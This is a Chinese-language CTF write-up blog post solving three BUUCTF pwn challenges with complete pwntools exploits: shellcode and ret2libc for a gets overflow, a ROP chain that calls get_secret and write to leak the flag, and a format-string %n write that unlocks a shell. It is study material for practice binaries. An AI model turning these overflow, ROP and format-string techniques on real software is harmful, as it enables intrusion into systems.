BUUCTF题解 part02

ciscn_2019_n_5

checksec一下:

1
2
3
4
5
6
7
8
9
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
Debuginfo: Yes

64位程序,没有金丝雀,NX关闭,栈可执行,想到shellcode

查看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int argc, const char **argv, const char **envp)
{
char text[30]; // [rsp+0h] [rbp-20h] BYREF

setvbuf(stdout, 0LL, 2, 0LL);
puts("tell me your name");
read(0, name, 0x64uLL);
puts("wow~ nice name!");
puts("What do you want to say to me?");
gets(text);
return 0;
}

存在危险函数gets,可利用栈溢出

偏移量:0x20 + 0x8

gdb调试,vmmap查看权限:

1
2
3
4
5
6
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x400000 0x401000 r-xp 1000 0 /home/ghostfoxy/CTF/ciscn_2019_n_5
0x600000 0x601000 r--p 1000 0 /home/ghostfoxy/CTF/ciscn_2019_n_5
0x601000 0x602000 rw-p 1000 1000 /home/ghostfoxy/CTF/ciscn_2019_n_5

能看到name段是可写的,所以考虑将shellcode注入name数组里

name数组的地址:

1
2
3
.bss:0000000000601080                 public name
.bss:0000000000601080 ; char name[100]
.bss:0000000000601080 name db 64h dup(?) ; DATA XREF: main+35↑o

完整利用代码:

1
2
3
4
5
6
7
8
9
10
from pwn import *
context.log_level = 'debug'
p = remote("node5.buuoj.cn",28786)
offset = 0x20 + 0x8
p.recvuntil(b'name')
p.sendline(asm(shellcraft.sh()))
p.recvuntil(b'me?')
payload = offset * b'a' + p64(0x601080)
p.sendline(payload)
p.interactive()

执行代码拿到shell

另一种方法可以用ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p = process("./ciscn_2019_n_5")
elf = ELF('./ciscn_2019_n_5')
offset = 0x20 + 0x8
puts_plt_addr = elf.plt['puts']
puts_got_addr = elf.got['puts']
ret_addr = 0x4004c9
pop_rdi = 0x400713
main_addr = 0x400636
p.sendlineafter(b'tell me your name\n',b'name')
payload1 = offset * b'a' + p64(pop_rdi) + p64(puts_got_addr) + p64(ret_addr) + p64(puts_plt_addr) + p64(main_addr)
p.sendlineafter(b'What do you want to say to me?\n',payload1)
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload2 = offset * b'a' + p64(pop_rdi) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr)
p.sendlineafter(b'tell me your name\n',b'name')
p.sendlineafter(b'What do you want to say to me?\n',payload2)
p.interactive()

执行程序拿到flag

not_the_same_3dsctf_2016

checksec一下:

1
2
3
4
5
6
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位程序,NX开启

查看源代码:

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
_BYTE v4[45]; // [esp+Fh] [ebp-2Dh] BYREF

printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
gets(v4);
return 0;
}

危险函数gets存在,所以利用思路是栈溢出

还存在另外一个有用的函数get_secret:

1
2
3
4
5
6
7
8
int get_secret()
{
int v0; // esi

v0 = fopen("flag.txt", &unk_80CF91B);
fgets(&fl4g, 45, v0);
return fclose(v0);
}

函数作用是将flag.txt的内容存入fl4g变量,但并没有输出。手动构造ROP

查看汇编,发现main函数没有把ebp压入栈中:

1
2
3
4
5
6
7
8
9
10
.text:080489E0                 sub     esp, 3Ch
.text:080489E3 mov [esp+3Ch+var_3C], offset aB0r4V3rS37u4hO ; "b0r4 v3r s3 7u 4h o b1ch4o m3m0... "
.text:080489EA call printf
.text:080489EF lea eax, [esp+3Ch+var_2D]
.text:080489F3 mov [esp+3Ch+var_3C], eax
.text:080489F6 call gets
.text:080489FB xor eax, eax
.text:080489FD add esp, 3Ch
.text:08048A00 retn
.text:08048A00 main endp

偏移量:0x2D

利用思路:填充缓冲区后跳转get_secret函数,执行完读取操作后,将返回的函数改成write函数并打印fl4g变量的值

1
payload = offset * b'a' + p32(get_secret_addr) + p32(write_addr) + p32(exit_addr) + p32(1) + p32(fl4g_addr) + p32(45)

完整构造exp:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context.log_level = 'debug'
p = remote('node5.buuoj.cn',28670)
get_secret_addr = 0x080489A0
write_addr = 0x806e270
fl4g_addr = 0x080ECA2D
offset = 0x2D
exit_addr = 0x804e660
payload = offset * b'a' + p32(get_secret_addr) + p32(write_addr) + p32(exit_addr) + p32(1) + p32(fl4g_addr) + p32(45)
p.sendline(payload)
p.interactive()

jarvisoj_fm

checksec一下:

1
2
3
4
5
6
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位程序,金丝雀开启,NX开启

IDA查看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[80]; // [esp+2Ch] [ebp-5Ch] BYREF
unsigned int v5; // [esp+7Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
be_nice_to_people();
memset(buf, 0, sizeof(buf));
read(0, buf, 0x50u);
printf(buf);
printf("%d!\n", x);
if ( x == 4 )
{
puts("running sh...");
system("/bin/sh");
}
return 0;
}

一看就是格式化字符串漏洞。

泄漏偏移:11

1
2
3
4
./fm
AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p #泄漏栈上的数据的地址
AAAA 0xffd97d2c 0x50 0xf7f2b000 0xf7ef2540 0xffffffff 0x8048034 0xffd97e44 0xf7f2b608 0x20 0x38 0x41414141 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070
3!

可以看到,字符串AAAA在偏移量为11的位置的栈上的数据,被当作是地址的值解析并输出,所以我们的读写操作只能发生在栈上第11个位置。

寻找变量x的地址:0x804a02c

1
2
3
gdb fm
p &x
$1 = (<data variable, no debug info> *) 0x804a02c <x>

构造payload:

1
payload = p32(0x804a02c) + b'%11$n' #%n是将已经输出的字符串字节长度作为一个整型变量写入到某一地址上,这里的0x804a02c长度是4,刚好符合条件

构造exp:

1
2
3
4
5
from pwn import *
p = remote('node5.buuoj.cn',29184)
payload = p32(0x804a02c) + b'%11$n'
p.sendline(payload)
p.interactive()

执行程序拿到shell


BUUCTF题解 part02
https://www.ghostfoxy.cn/2025/11/25/buuwp2/
作者
Gh0stF0xy
发布于
2025年11月25日
更新于
2025年12月1日
许可协议